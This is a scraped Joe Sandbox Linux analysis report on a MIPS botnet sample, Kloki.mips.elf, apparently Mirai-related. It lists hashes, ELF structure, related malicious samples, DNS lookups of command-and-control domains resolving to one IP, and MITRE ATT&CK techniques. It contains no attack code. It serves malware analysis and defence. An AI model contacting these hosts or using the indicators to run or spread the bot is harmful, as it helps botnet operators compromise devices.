132.114.208.90	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
95.170.110.123	unknown	Russian Federation	31357	TOMICA-ASTomskInformationandConsultingAgencyRU	false
184.0.88.193	unknown	United States	4283	CENTURYLINK-TSDS-LSVGUS	false
65.62.95.203	unknown	United States	32475	SINGLEHOP-LLCUS	false
147.203.91.102	unknown	United States	6130	AIS-WESTUS	false
42.65.46.78	unknown	Taiwan; Republic of China (ROC)	4249	LILLY-ASUS	false
81.245.40.210	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
109.109.28.121	unknown	Germany	50050	NUMetropolitanAreaNetworkDE	false
70.8.7.65	unknown	United States	10507	SPCSUS	false
8.159.68.31	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
90.50.25.217	unknown	France	3215	FranceTelecom-OrangeFR	false
56.205.17.217	unknown	United States	2686	ATGS-MMD-ASUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
93.217.229.80	x86_64.elf	Get hash	malicious	Mirai	Browse
103.43.29.1	aqua.x86-20220814-0656	Get hash	malicious	Mirai	Browse
78.212.243.46	156.229.229.101-mips-2025-01-24T01_03_03.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cats-master.ru	rep.ppc.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
cats-master.ru	arm4.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
cuttiecats.ru	rep.arm5.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
mykittler.ru	rep.arm7.elf	Get hash	malicious	Mirai	Browse	156.229.232.99
newkittler.ru	rep.m68k.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
newkittler.ru	rep.ppc.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
kittlerer.ru	arm5.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
	rep.arm5.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
	rep.mpsl.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
	rep.arm4.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
	rep.x86_64.elf	Get hash	malicious	Unknown	Browse	156.229.232.99
	arm4.elf	Get hash	malicious	Unknown	Browse	156.229.232.99

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CABLE-NET-1US	crss.exe	Get hash	malicious	Unknown	Browse	69.125.153.147
	arm4.elf	Get hash	malicious	Unknown	Browse	69.120.196.238
	nabarm5.elf	Get hash	malicious	Unknown	Browse	67.82.226.88
	splsh4.elf	Get hash	malicious	Unknown	Browse	108.162.6.163
	nabsh4.elf	Get hash	malicious	Unknown	Browse	69.127.42.110
	splspc.elf	Get hash	malicious	Unknown	Browse	148.76.183.162
	nklm68k.elf	Get hash	malicious	Unknown	Browse	69.117.181.48
	nabppc.elf	Get hash	malicious	Unknown	Browse	170.129.62.99
	nklx86.elf	Get hash	malicious	Unknown	Browse	24.189.245.183
	Fantazy.arm7.elf	Get hash	malicious	Mirai	Browse	69.122.191.204
IAM-ASMA	jklsh4.elf	Get hash	malicious	Unknown	Browse	102.74.168.110
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.146.28.180
	splmips.elf	Get hash	malicious	Unknown	Browse	154.148.74.83
	jklppc.elf	Get hash	malicious	Unknown	Browse	105.138.179.229
	jklarm7.elf	Get hash	malicious	Unknown	Browse	102.76.124.230
	jklarm5.elf	Get hash	malicious	Unknown	Browse	105.141.249.121
	jklmpsl.elf	Get hash	malicious	Unknown	Browse	160.89.255.106
	nklx86.elf	Get hash	malicious	Unknown	Browse	105.147.201.11
	Fantazy.mpsl.elf	Get hash	malicious	Unknown	Browse	160.168.7.148
	boatnet.arm7.elf	Get hash	malicious	Mirai, Gafgyt	Browse	197.129.211.33
KR-ROSTOVRU	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	213.27.80.170
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	213.27.62.131
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	213.27.62.161
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	213.27.62.137
	30vJo834kj.elf	Get hash	malicious	Unknown	Browse	94.77.169.169
	fDtncWP2T2.elf	Get hash	malicious	Unknown	Browse	77.66.225.225
	Xt13O68HNd.elf	Get hash	malicious	Moobot	Browse	77.66.243.220
	33T91PweGq.elf	Get hash	malicious	Moobot	Browse	77.66.137.236
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	213.27.62.179
	lOysYddKb1.elf	Get hash	malicious	Gafgyt, Mirai	Browse	213.27.4.173
WIDE-BBWIDEProjectJP	boatnet.sh4.elf	Get hash	malicious	Mirai, Gafgyt	Browse	133.146.164.188
	sora.spc.elf	Get hash	malicious	Mirai	Browse	133.146.32.203
	naarm7.elf	Get hash	malicious	Unknown	Browse	133.144.26.36
	154.213.189.141-x86-2025-01-21T03_19_07.elf	Get hash	malicious	Mirai, Moobot	Browse	133.139.145.245
	x86_64.elf	Get hash	malicious	Mirai	Browse	163.221.53.56
	i486.elf	Get hash	malicious	Unknown	Browse	133.144.172.37
	elitebotnet.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	163.221.90.23
	6.elf	Get hash	malicious	Unknown	Browse	163.221.28.75
	3.elf	Get hash	malicious	Unknown	Browse	133.146.164.164
	1.elf	Get hash	malicious	Unknown	Browse	133.144.147.56

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Process:	/tmp/Kloki.mips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.172745459086889
Encrypted:	false
SSDEEP:	6:URYNDF8L0Y/VUS/FYDFDCY/VpHHT/VDM/V+4D/VH:IYt9S/FQRbHHRMfF
MD5:	E26B9F0FF2CCFA2A0887D91B7CC8F90A
SHA1:	C619738FC7F95AB003FBF44DFDAD53126373A98E
SHA-256:	95C63CB5461B88356693EB66D2AAF9F6A2027ADEAD1B864B50FE3E36ABB566DD
SHA-512:	2DD39A8278A566A9E5C82E2185D82B53CB68E62C0AED958314128BF060300755B93267C71D37B6CC1E86908D1A6903420D8DB86DA6325C9A81B3A17B6665465B
Malicious:	false
Reputation:	low
Preview:	400000-414000 r-xp 00000000 fd:00 531606 /tmp/..453000-454000 rw-p 00013000 fd:00 531606 /tmp/..454000-456000 rw-p 00000000 00:00 0 .456000-457000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.533531155482092
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	Kloki.mips.elf
File size:	81'488 bytes
MD5:	0cb3f195c3dbae20b72eab4826859d34
SHA1:	515c1dfeacddd4b485f0f1920b3c74e54b04608c
SHA256:	5331bc94cc71fe1e02fa7c0fd060b4ba69edba08170772d67bee874c873e5608
SHA512:	7d14fd7bf85244a1e4a0645c5593a2ba8b24b79cf0d319c93d5371c948b2c19597603e966cbb4c3359c20a757bb555ab11548c1e477a3e1f68faf544728e7082
SSDEEP:	1536:GZlNG6c8hgWMtGRVPXUdO78b711b7L7RMhh6QwMBnI+R0csM:GBVThgn+PXUtBQDBnI+l
TLSH:	8383C61F2A659FADFB7D873587B78B20979873922B90C181D16CF9006E6034E641FF98
File Content Preview:	.ELF.....................@.`...4..< .....4. ...(.............@...@....5`..5`..............5d.E5d.E5d...X...4........dt.Q............................<...'..L...!'.......................<...'..(...!... ....'9... ......................<...'......!........'9"

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	80928
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x12230	0x0	0x6	AX	16
.fini	PROGBITS	0x412350	0x12350	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4123b0	0x123b0	0x11b0	0x0	0x2	A	16
.ctors	PROGBITS	0x453564	0x13564	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45356c	0x1356c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453578	0x13578	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x453660	0x13660	0x190	0x0	0x3	WA	16
.got	PROGBITS	0x4537f0	0x137f0	0x3cc	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x453bbc	0x13bbc	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453be0	0x13bbc	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0x13bbc	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x13bbc	0x64	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13560	0x13560	5.5557	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13564	0x453564	0x453564	0x658	0x1834	3.7303	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 1, 2025 22:47:55.612242937 CET	192.168.2.23	8.8.8.8	0xa772	Standard query (0)	newkittler.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:47:58.347121954 CET	192.168.2.23	8.8.8.8	0x1319	Standard query (0)	cat-are-here.ru. [malformed]	256	398	false
Feb 1, 2025 22:48:01.088012934 CET	192.168.2.23	8.8.8.8	0xbbab	Standard query (0)	cat-are-here.ru. [malformed]	256	401	false
Feb 1, 2025 22:48:03.801923990 CET	192.168.2.23	8.8.8.8	0x4fe2	Standard query (0)	mykittler.ru. [malformed]	256	403	false
Feb 1, 2025 22:48:06.523109913 CET	192.168.2.23	8.8.8.8	0x355a	Standard query (0)	cuttiecats.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:48:09.256818056 CET	192.168.2.23	8.8.8.8	0x9586	Standard query (0)	gokittler.ru. [malformed]	256	409	false
Feb 1, 2025 22:48:11.972939014 CET	192.168.2.23	8.8.8.8	0x163d	Standard query (0)	cuttiecats.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:48:14.693058014 CET	192.168.2.23	8.8.8.8	0xbfcd	Standard query (0)	polizei.su. [malformed]	256	414	false
Feb 1, 2025 22:48:17.432972908 CET	192.168.2.23	8.8.8.8	0x9f98	Standard query (0)	polizei.su. [malformed]	256	417	false
Feb 1, 2025 22:48:20.149225950 CET	192.168.2.23	8.8.8.8	0x43bd	Standard query (0)	newkittler.ru. [malformed]	256	420	false
Feb 1, 2025 22:48:22.899697065 CET	192.168.2.23	8.8.8.8	0xdbc9	Standard query (0)	gokittler.ru. [malformed]	256	422	false
Feb 1, 2025 22:48:25.633723021 CET	192.168.2.23	8.8.8.8	0xf63b	Standard query (0)	kittlez.ru. [malformed]	256	425	false
Feb 1, 2025 22:48:28.367144108 CET	192.168.2.23	8.8.8.8	0x854c	Standard query (0)	newkittler.ru. [malformed]	256	428	false
Feb 1, 2025 22:48:31.102013111 CET	192.168.2.23	8.8.8.8	0xb414	Standard query (0)	kittlerer.ru. [malformed]	256	431	false
Feb 1, 2025 22:48:33.841176033 CET	192.168.2.23	8.8.8.8	0x2699	Standard query (0)	kittler.ru. [malformed]	256	433	false
Feb 1, 2025 22:48:36.555629969 CET	192.168.2.23	8.8.8.8	0x7e86	Standard query (0)	thekittler.ru. [malformed]	256	436	false
Feb 1, 2025 22:48:39.289683104 CET	192.168.2.23	8.8.8.8	0x9198	Standard query (0)	mykittler.ru. [malformed]	256	439	false
Feb 1, 2025 22:48:42.008084059 CET	192.168.2.23	8.8.8.8	0x6fda	Standard query (0)	mykittler.ru. [malformed]	256	442	false
Feb 1, 2025 22:48:44.746056080 CET	192.168.2.23	8.8.8.8	0xaea3	Standard query (0)	qittler.ru. [malformed]	256	444	false
Feb 1, 2025 22:48:47.480345011 CET	192.168.2.23	8.8.8.8	0x7f8a	Standard query (0)	polizei.su. [malformed]	256	447	false
Feb 1, 2025 22:48:50.195436001 CET	192.168.2.23	8.8.8.8	0x8508	Standard query (0)	mykittler.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:48:52.950915098 CET	192.168.2.23	8.8.8.8	0xa494	Standard query (0)	qittler.ru. [malformed]	256	452	false
Feb 1, 2025 22:48:55.678495884 CET	192.168.2.23	8.8.8.8	0x55c2	Standard query (0)	newkittler.ru. [malformed]	256	456	false
Feb 1, 2025 22:48:59.342344999 CET	192.168.2.23	8.8.8.8	0x4b0c	Standard query (0)	cuttiecats.ru. [malformed]	256	459	false
Feb 1, 2025 22:49:02.070522070 CET	192.168.2.23	8.8.8.8	0xbf05	Standard query (0)	kittlerer.ru. [malformed]	256	462	false
Feb 1, 2025 22:49:04.787543058 CET	192.168.2.23	8.8.8.8	0x6c17	Standard query (0)	qittler.ru. [malformed]	256	464	false
Feb 1, 2025 22:49:07.507607937 CET	192.168.2.23	8.8.8.8	0xacba	Standard query (0)	kittlez.ru. [malformed]	256	467	false
Feb 1, 2025 22:49:10.228857040 CET	192.168.2.23	8.8.8.8	0x9beb	Standard query (0)	cat-are-here.ru. [malformed]	256	470	false
Feb 1, 2025 22:49:12.982100964 CET	192.168.2.23	8.8.8.8	0x15e8	Standard query (0)	kittlez.ru. [malformed]	256	472	false
Feb 1, 2025 22:49:15.694989920 CET	192.168.2.23	8.8.8.8	0x64e3	Standard query (0)	kittlerer.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:18.430964947 CET	192.168.2.23	8.8.8.8	0x3889	Standard query (0)	kittlez.ru. [malformed]	256	478	false
Feb 1, 2025 22:49:21.152367115 CET	192.168.2.23	8.8.8.8	0x6e44	Standard query (0)	cuttiecats.ru. [malformed]	256	481	false
Feb 1, 2025 22:49:23.884618998 CET	192.168.2.23	8.8.8.8	0xb2cd	Standard query (0)	kittlez.ru. [malformed]	256	483	false
Feb 1, 2025 22:49:26.601941109 CET	192.168.2.23	8.8.8.8	0x48d9	Standard query (0)	gokittler.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:29.337347031 CET	192.168.2.23	8.8.8.8	0x10df	Standard query (0)	cats-master.ru. [malformed]	256	489	false
Feb 1, 2025 22:49:32.055109978 CET	192.168.2.23	8.8.8.8	0xbc01	Standard query (0)	newkittler.ru. [malformed]	256	492	false
Feb 1, 2025 22:49:34.790232897 CET	192.168.2.23	8.8.8.8	0x5a0e	Standard query (0)	thekittler.ru. [malformed]	256	494	false
Feb 1, 2025 22:49:37.524069071 CET	192.168.2.23	8.8.8.8	0xd9d4	Standard query (0)	qittler.ru. [malformed]	256	497	false
Feb 1, 2025 22:49:40.258464098 CET	192.168.2.23	8.8.8.8	0x6f59	Standard query (0)	polizei.su. [malformed]	256	500	false
Feb 1, 2025 22:49:42.978208065 CET	192.168.2.23	8.8.8.8	0x8e57	Standard query (0)	cats-master.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:45.713035107 CET	192.168.2.23	8.8.8.8	0x5bdc	Standard query (0)	cuttiecats.ru. [malformed]	256	505	false
Feb 1, 2025 22:49:48.437123060 CET	192.168.2.23	8.8.8.8	0x1381	Standard query (0)	kittler.ru. [malformed]	256	508	false
Feb 1, 2025 22:49:51.150912046 CET	192.168.2.23	8.8.8.8	0x4095	Standard query (0)	mykittler.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:53.903541088 CET	192.168.2.23	8.8.8.8	0x75b7	Standard query (0)	kittlerer.ru	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:56.633186102 CET	192.168.2.23	8.8.8.8	0xefce	Standard query (0)	newkittler.ru	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 1, 2025 22:47:55.624248028 CET	8.8.8.8	192.168.2.23	0xa772	No error (0)	newkittler.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:48:06.533078909 CET	8.8.8.8	192.168.2.23	0x355a	No error (0)	cuttiecats.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:48:11.982920885 CET	8.8.8.8	192.168.2.23	0x163d	No error (0)	cuttiecats.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:48:50.209371090 CET	8.8.8.8	192.168.2.23	0x8508	No error (0)	mykittler.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:15.705261946 CET	8.8.8.8	192.168.2.23	0x64e3	No error (0)	kittlerer.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:26.612135887 CET	8.8.8.8	192.168.2.23	0x48d9	No error (0)	gokittler.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:42.988529921 CET	8.8.8.8	192.168.2.23	0x8e57	No error (0)	cats-master.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:51.161251068 CET	8.8.8.8	192.168.2.23	0x4095	No error (0)	mykittler.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:53.913399935 CET	8.8.8.8	192.168.2.23	0x75b7	No error (0)	kittlerer.ru	83.222.190.91	A (IP address)	IN (0x0001)	false
Feb 1, 2025 22:49:56.642870903 CET	8.8.8.8	192.168.2.23	0xefce	No error (0)	newkittler.ru	83.222.190.91	A (IP address)	IN (0x0001)	false

Start time (UTC):	21:47:53
Start date (UTC):	01/02/2025
Path:	/tmp/Kloki.mips.elf
Arguments:	/tmp/Kloki.mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	21:47:54
Start date (UTC):	01/02/2025
Path:	/tmp/Kloki.mips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Kloki.mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0c7QZM (deleted)

/tmp/qemu-open.0sbNQM (deleted)

/tmp/qemu-open.2IEtFN (deleted)

/tmp/qemu-open.2PQaEM (deleted)

/tmp/qemu-open.2bZ8VO (deleted)

/tmp/qemu-open.2tS5SN (deleted)

/tmp/qemu-open.31NdaN (deleted)

/tmp/qemu-open.3592ZM (deleted)

/tmp/qemu-open.3FkQNO (deleted)

/tmp/qemu-open.3OlRzO (deleted)

/tmp/qemu-open.3UYioM (deleted)

/tmp/qemu-open.3wXPTL (deleted)

/tmp/qemu-open.3ybDrN (deleted)

/tmp/qemu-open.4QQDvN (deleted)

/tmp/qemu-open.5Ay5mL (deleted)

/tmp/qemu-open.5FOQGN (deleted)

/tmp/qemu-open.5sGGbL (deleted)

/tmp/qemu-open.6batVO (deleted)

/tmp/qemu-open.7m9AjL (deleted)

/tmp/qemu-open.8qGwCM (deleted)

/tmp/qemu-open.94x0pP (deleted)

/tmp/qemu-open.9bJ2TN (deleted)

/tmp/qemu-open.9ljxqL (deleted)

/tmp/qemu-open.Ae5I6O (deleted)

/tmp/qemu-open.Aie5oO (deleted)

/tmp/qemu-open.B5GBeO (deleted)

/tmp/qemu-open.CcYl0L (deleted)

/tmp/qemu-open.CtWc5O (deleted)

/tmp/qemu-open.DGB1mO (deleted)

/tmp/qemu-open.Dka7lL (deleted)

/tmp/qemu-open.DnPHSN (deleted)

/tmp/qemu-open.Dnh18M (deleted)

/tmp/qemu-open.E55mFO (deleted)

/tmp/qemu-open.E8ZQHN (deleted)

Linux Analysis Report
Kloki.mips.elf